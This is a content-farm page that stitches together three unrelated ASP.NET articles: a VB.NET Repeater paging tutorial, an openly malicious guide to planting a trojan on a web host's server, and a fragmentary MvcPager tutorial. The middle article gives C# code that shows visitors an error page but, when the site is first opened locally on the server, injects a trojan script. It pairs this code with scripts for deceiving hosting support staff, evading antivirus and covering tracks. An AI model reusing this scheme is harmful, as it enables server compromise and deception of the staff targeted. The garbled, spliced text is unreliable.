61阅读

asp.net网页制作-ASP.NET程序中用Repeater实现分页

发布时间:2018-03-18 所属栏目:ASP.NET

一 : ASP.NET程序中用Repeater实现分页

文/waterswea

一、程序功能:为Repeater实现分页

二、窗体设计:

1、新建ASP.NETWeb应用程序,命名为Repeater2,保存路径为http://192.168.0.1/Repeater2(注:我机子上的网站的IP是192.168.0.1的主目录是D:web文件夹)然后点击确定。

2、向窗体添加一个3行一列的表,向表的第一行中添加一个Repeater控件,向表的第二行中添加两个Label控件向表的第三行中添加四个Button按钮。

3、切换到HTML代码窗口,在<asp:Repeaterid="Repeater1"runat="server">和</asp:Repeater>之间添加以下代码:

<ItemTemplate>
<tableid="Table2"style="FONT-SIZE:x-small"width="498">
 <tr>
<td><%#DataBinder.Eval(Container,"DataItem.employeeid")%></td>
<td><%#DataBinder.Eval(Container,"DataItem.lastname")%></td>
 </tr>
</table>
</ItemTemplate>

三、代码设计:

ImportsSystem.Data.SqlClient
PublicClassWebForm1
InheritsSystem.Web.UI.Page

 DimsconAsNewSqlConnection("server=localhost;database=northwind;uid=sa;pwd=123")
 DimsDAAsSqlDataAdapter
 DimdsAsDataSet
 DimcurrentPageAsInteger'记录着目前在哪一页上
 DimmaxPageAsInteger'总共有多少页
 ConstrowCountAsInteger=3'一页有多少行
 DimrowSumAsInteger'总共有多少行

 '窗体代码省略

 PrivateSubPage_Load(ByValsenderAsSystem.Object,ByValeAsSystem.EventArgs)HandlesMyBase.Load

 IfNotPage.IsPostBackThen
sDA=NewSqlDataAdapter("selectemployeeid,lastnamefromemployeesorderbyemployeeid",scon)
ds=NewDataSet
Try
 sDA.Fill(ds,"employees")
 '获取总共有多少行
 rowSum=ds.Tables(0).Rows.Count
CatchexAsException
 rowSum=0
EndTry

'如果没有数据,退出过程
IfrowSum=0ThenExitSub
'计算出浏览数据的总页数
IfrowSumModrowCount>0Then
 '有余数要加1
 maxPage=rowSumrowCount+1
Else
 '正好除尽
 maxPage=rowSumrowCount
EndIf

currentPage=1
'调用绑定数据过程
readpage(currentPage)
BindData()
Label2.Text=maxPage
'首页和上一页按钮不可见
Button1.Visible=False
Button2.Visible=False
 EndIf
EndSub

'创建一个绑定数据的过程
SubBindData()
 Repeater1.DataSource=ds
 Repeater1.DataBind()
 Label1.Text=currentPage
EndSub

'创建一个填充数据集的过程
Subreadpage(ByValnAsInteger)
 sDA=NewSqlDataAdapter("selectemployeeid,lastnamefromemployeesorderbyemployeeid",scon)
 ds=NewDataSet
 ds.Clear()
 sDA.Fill(ds,(n-1)*rowCount,rowCount,"employees")
EndSub

'首页按钮
PrivateSubButton1_Click(ByValsenderAsSystem.Object,ByValeAsSystem.EventArgs)HandlesButton1.Click

 currentPage=1
 '调用填充数据集过程
 readpage(currentPage)
 '绑定数据
 BindData()
 '设置首页、第一页按钮不可见,显示下一页尾页按钮
 Button1.Visible=False
 Button2.Visible=False
 Button3.Visible=True
 Button4.Visible=True

EndSub

'上一页按钮
PrivateSubButton2_Click(ByValsenderAsSystem.Object,ByValeAsSystem.EventArgs)HandlesButton2.Click
'如果现在页是第二页,设置首页和上一页按钮不可见
 IfLabel1.Text>2Then
Button3.Visible=True
Button4.Visible=True
 Else
Button1.Visible=False
Button2.Visible=False
Button3.Visible=True
Button4.Visible=True
 EndIf
 currentPage=Label1.Text-1
 readpage(currentPage)
 BindData()
EndSub

'下一页按钮
PrivateSubButton3_Click(ByValsenderAsSystem.Object,ByValeAsSystem.EventArgs)HandlesButton3.Click
'如果现在页倒数第二页,设置最后页和下一页按钮不可见
 IfLabel1.Text<Label2.Text-1Then
Button1.Visible=True
Button2.Visible=True
 Else
Button1.Visible=True
Button2.Visible=True
Button3.Visible=False
Button4.Visible=False
 EndIf
currentPage=Label1.Text+1
readpage(currentPage)
BindData()
 EndSub

 '尾页按钮
 PrivateSubButton4_Click(ByValsenderAsSystem.Object,ByValeAsSystem.EventArgs)HandlesButton4.Click
'设置当前页为最大页数
currentPage=Label2.Text
readpage(currentPage)
BindData()
Button1.Visible=True
Button2.Visible=True
Button3.Visible=False
Button4.Visible=False
 EndSub
EndClass

窗体界面如下所示:


二 : asp.net 利用网页挂马拿服务器的一种设想

步骤如下:
准备工作
1.做好远控木马,做好免杀,找个网马生成器生成网马。然后传到一个空间,并做好相应的加密过的JS引用文件。
2.找一套正常的网站源码(大家做过的网站随便找一个就ok了),加一段代码,让它只能在本地访问时正常显示,远程访问时出错。(很关键,大家都是程序员,这个功能也不难)。然后通过cs代码往前台页面插入木马js文件,注意,判断一下,只在本地浏览且是第一次浏览时插入,其他情况不插入,当然,为了成功后我们能知道,这里也可以插入一段通知的代码,比如往我们心想发一封成功的e-mail。
示例代码


if(Request.IsLocal)//判断是否本机访问,当然你可以改为更好的判断方法
{
if(ConfigurationManager.AppSettings["sitecode"].Equals("0"))//是否第一次访问的标志,这里为了简单,使用的配置文件,你可以修改为其他更隐蔽的方法
{
Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
config.AppSettings.Settings["sitecode"].Value="1";
config.Save();
Response.Write("<script language="javascript" src="木马js文件路径" ></script>");
//发送成功提示的代码
}
//正常执行的代码
}
else


3.为了安全,把整站编译一下,否则这些小动作别人一看代码就知道了。
开始实施
1.找到下手的虚拟主机服务器商,先大致扫一下服务器,看一下安全,性能等等,找到自己满意的。
2.和他们联系,说是买空间,要求试用。
3.把准备好的网站传上去。然后找他们客服(装模作样几分钟再去找,别传上立刻去找,以免引起怀疑),说网站在你本地测试一切正常,传到他们服务器上就打不开了。让他们给看看怎么回事。
等待处理
1.他们技术会先在他自己机器上输一下网址试试,以测试是不是真的打不开,或者是在打不开的情况下报的是什么错误。当然,在我们程序的控制下,他最终只能看到一个完美的错误页面。
2.他也许会多找几台机器试试,但是等他看过五六个错误页面后,最终还是要登到服务器上查看。他会查看一下iis的设置,发现没问题。
3.他也会查看一下你网站的源码,当然,在编译过的情况下,他什么也发现不了。
4.这时,他很有可能会在服务器运行一下你的网站,这时,程序检测到是本地浏览,于是正常显示,同时程序检测到是第一次运行,于是插入木马js。于是我们的木马就成功植入了他们服务器,如果你写了提示代码,这时你会收到一封成功的e-mail。这时你不要干等,要在沟通的过程中引导他们在服务器上运行你的网站。
擦屁股
1.他们无论怎么检测设置,都会发现网站在服务器能打开而本地打不开的事实。这时你要赶快删掉上传上去的文件,并大骂他们垃圾服务器垃圾空间后,悠然撤离。
2.如果你感觉这么做对不起他们的热情服务,会良心不安的话。那还有一种处理方法。首先你做准备工作的时候,把代码改一下,修改为只有在经过一次本地浏览后,远程才能浏览。这样他们技术员在服务器上浏览一次网站并种植木马后,远程就能访问了。
示例代码


if(Request.IsLocal)//判断是否本机访问,当然你可以改为更好的判断方法
{
if(ConfigurationManager.AppSettings["sitecode"].Equals("0"))//是否第一次访问的标志,这里为了简单,使用的配置文件,你可以修改为其他更隐蔽的方法
{
Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
config.AppSettings.Settings["sitecode"].Value="1";
config.Save();
Response.Write("<script language="javascript" src="木马js文件路径" ></script>");
//发送成功提示的代码
}
}
if(ConfigurationManager.AppSettings["sitecode"].Equals("0"))
Response.Close();
//正常执行的代码


这时你大大地夸赞他们一番,然后自己找个理由最终不买他们空间。
3.最终不管结尾如何,你肉鸡到手,至于怎么玩,就看你自己了。当然你能把抓到的肉鸡和我共享一下,那就更好了。


问题与处理方法
1.他们空间不支持.NET。
你干脆买块豆腐撞死算了,不支持你还找他们,能怪谁啊,换支持的空间。
2.他们空间不准试用。
两种选择:1.放弃,换一个。2.买一个最便宜的吧。
3.他们不在服务器运行站点。
自己想办法忽悠引导他们运行。比如多次强调自己本机运行没问题,他们在心理暗示下,很有可能也在"本机"----即服务器上运行一下看有没有问题。当然,还有更多绝妙的主意你可以自己去想。如果他们是比较严格正规的公司,绝对禁止在服务器打开任何网站,或者是他们技术比较小心谨慎,即使怀疑你代码有问题,他也只会把网站代码下载下来在自己机器上运行。那没办法了。反正国内卖空间的小公司一抓一大把,不会都这么严格和正规,换一家吧。
4.挂的代码被发现,或者木马运行了,但是被杀掉了。
这个没啥说的,基本功问题,吸取教训,做好免杀,换一家搞。
5.跟他们一反应问题,他们立即操起了Reflector,一下找到了你做的手脚。
这个可能性比较小,处理问题有个次序,他们一般不会先检查代码,这样你才有擦屁股逃跑的可能。如果你真遇到这么个不按常理出牌的哥们,还等啥,赶快跑路吧。另外别忘了去买张彩票,中500w可比挂马成功的感觉要好多了。
如果真要防止的话,提前加密混淆吧,具体怎么办,园子里自己"找找看"。
6.他们服务太垃圾,根本不鸟你,或者应承了下来,就是不去处理,或者甩一句“你代码问题,服务器没问题”就不管了。
你要知道,这种情况在国内是正常的,所以不要生气,换一家吧。
7.虽然肉鸡抓到了,但是也被他们找到是代码的问题了。
这是因为你没擦屁股或者没擦好。最后撤离时要果断、迅速,不要犹豫,不要磨磨蹭蹭。因为他们排除各种原因后,迟早会把矛头指到你的代码上,所以一等他们运行过网站,赶快撤离,别给他们这个机会。
总之,成功几率相当大,因为这个世界上随意的人永远比认真的人多。懒人永远比勤快的人多。
对管理员的警示
你并不能知道客户提的要求是正常的还是恶意的。你所能做的就是坚持这个原则:在任何情况下都不能在服务器上浏览任何网站。如果有困难,至少要做到:在服务器上不能打开任何不受信任的网站(你iis里的站点,自然都在不信任列表里)。
如此,不管敌人多狡猾,都拿你没办法。

三 : ASP.NET MVC分页控件

1、下载MvcPager.dll文件并引用到MVC项目中

2、在控制器中引用命名空间using Webdiyer.WebControls.Mvc;

3、获取数据集合,数据的总记录数(数据集合有多少条数据),设置每页记录数多少(每页显示多少条数据),获取当前页码(当前第几页)

例如:

4、创建视图,将换成

5、在web.config中的

6、在显示的数据下面

 @Html.Pager(Model, new PagerOptions() { AlwaysShowFirstLastPageNumber = true , PageIndexParameterName = "Page", AutoHide=false})

7、结束

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,同时也希望多多支持61阅读!

本文标题:asp.net网页制作-ASP.NET程序中用Repeater实现分页
本文地址: http://www.61k.com/1120323.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1